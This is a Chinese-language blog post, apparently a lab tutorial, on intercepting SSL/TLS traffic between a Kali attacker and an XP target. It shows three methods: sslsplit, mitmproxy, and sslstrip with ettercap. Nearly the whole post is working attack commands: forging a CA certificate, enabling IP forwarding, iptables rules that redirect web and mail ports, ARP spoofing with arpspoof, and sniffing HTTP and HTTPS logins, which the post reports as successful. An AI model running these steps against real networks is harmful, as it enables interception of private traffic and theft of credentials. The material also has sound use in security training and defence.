SSL/TLS中间人攻击

 

准备:kali、xp

kali ip:192.168.14.157

目标ip:192.168.14.158

目标网关:192.168.14.2

使用工具:ettercap、sslstrip、arpspoof、 Mitmproxy、sslsplit

 

下面使用三种方法,但只有第三种方法会有图文演示。

 

 

一、sslsplit+arpspoof

 

(1)简介

透明SSL中间人攻击工具
对客户端伪装成服务器,对服务器伪装成普通客户端
伪装服务器需要伪造证书,需要现在本地生成伪造证书
支持 SSL 加密的 SMTP、POP3、FTP等通信中间人攻击

 

(2)利用openssl 生成证书私钥
openssl genrsa -out ca.key 2048

 

(3)利用私钥签名生成证书
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [AU]:CN

State or Province Name (full name) [Some-State]:jilin
Locality Name (eg, city) []:changchun

Organization Name (eg, company) [Internet Widgits Pty Ltd]:alibaba

Organizational Unit Name (eg, section) []:ali

Common Name (e.g. server FQDN or YOUR name) []:alibaba

Email Address []:123456@163.com

 

(4)攻击者开启路由功能
第一种修改的方法:sysctl -w net.ipv4.ip_forward=1

第二种修改的方法:
vim /etc/sysctl.conf

net.ipv4.ip_forward=1

 

 


(5)配置 iptables 规则,简单来说就是将加密浏览和不加密的流量重定向到指定端口

# 查看规则

root@kali:~# iptables -t nat -L -n

 

# 清空规则

root@kali:~# iptables -t nat -F

 

# 查看 80 和 443 端口是否有占用

root@kali:~# netstat -tulnp | grep 80

root@kali:~# netstat -tulnp | grep 443

 

注意: PREROUTING:路由生效之前执行规则

# 发给 80 端口的流量转发给 8080

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

 

# 发给 443 端口的流量转发给 8443

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

 

# MSA:邮件提交代理

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443

 

# SMTPS:简单邮件传输

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443

 

# IMAPS:接收邮件

iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

 

# POP3S:邮件传输

iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

 

 #再一次查看规则

iptables -t nat -L -n


(6)kali 实现 arp 欺骗

root@kali:~# arpspoof -i eth0 -t 192.168.14.158 -r  192.168.14.2

 

(7)启动 sslsplit 进行攻击

 

1.创建目录和文件

root@kali:~# mkdir test

root@kali:~# mkdir /root/test/logdir

 

2.开启sllsplit侦听 8080 和 8443

sslsplit -D -l connect.log -j /root/test -S /root/test/logdir -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

 

 

二、Mitmproxy+arpspoof

Mitmproxy也是和SSLsplit差不多的工具。

 

(1)kali 实现 arp 欺骗

root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2

 

(2)添加防火墙规则

# Mitmproxy 只支持在 8080 侦听

iptables -t nat -F

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080


(3)mitmproxy 启动

mitmproxy -T --host -w mitmproxy.log

 

 

 

三、ettercap+arpspoof+sllstrip

 

(1)开启流量转发

 echo 1 > /proc/sys/net/ipv4/ip_forward

 

(2)端口转发,10000为sslstrip的监听端口

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

 

 

(3)ARP欺骗

arpspoof -i eth0 -t 192.168.18.100 192.168.18.254

 

 

(4)开启sslstrip
sslstrip -a -k -f

 

 

(5)开启ettercap嗅探密码

ettercap -T -q -i eth0

 

 

 (6)在xp上先测试HTTP登陆

用户名:bbbb

密码:test

 

下面信息显示嗅探成功

 

 

(7)在xp上测试HTTPS登陆

用户名:test

密码:test

 

下面信息显示嗅探成功

 

 

 

总结:如果你想查看在传输过程中更详细的信息可以使用前面两种方法,但是需要注意的是,前面两种方法使用伪造的证书加密数据,会被网站提醒证书错误,这样很容易攻击失败。

第三种方法的攻击思路:

ARP欺骗,使得攻击者能截获所有目标主机的网络流量;
攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替;
同时,与目标服务器建立正常的HTTPS连接;
由于HTTP通信是明文传输,攻击者能轻松实施嗅探。

 

posted @ 2018-12-01 22:37 -零 阅读(...) 评论(...) 编辑 收藏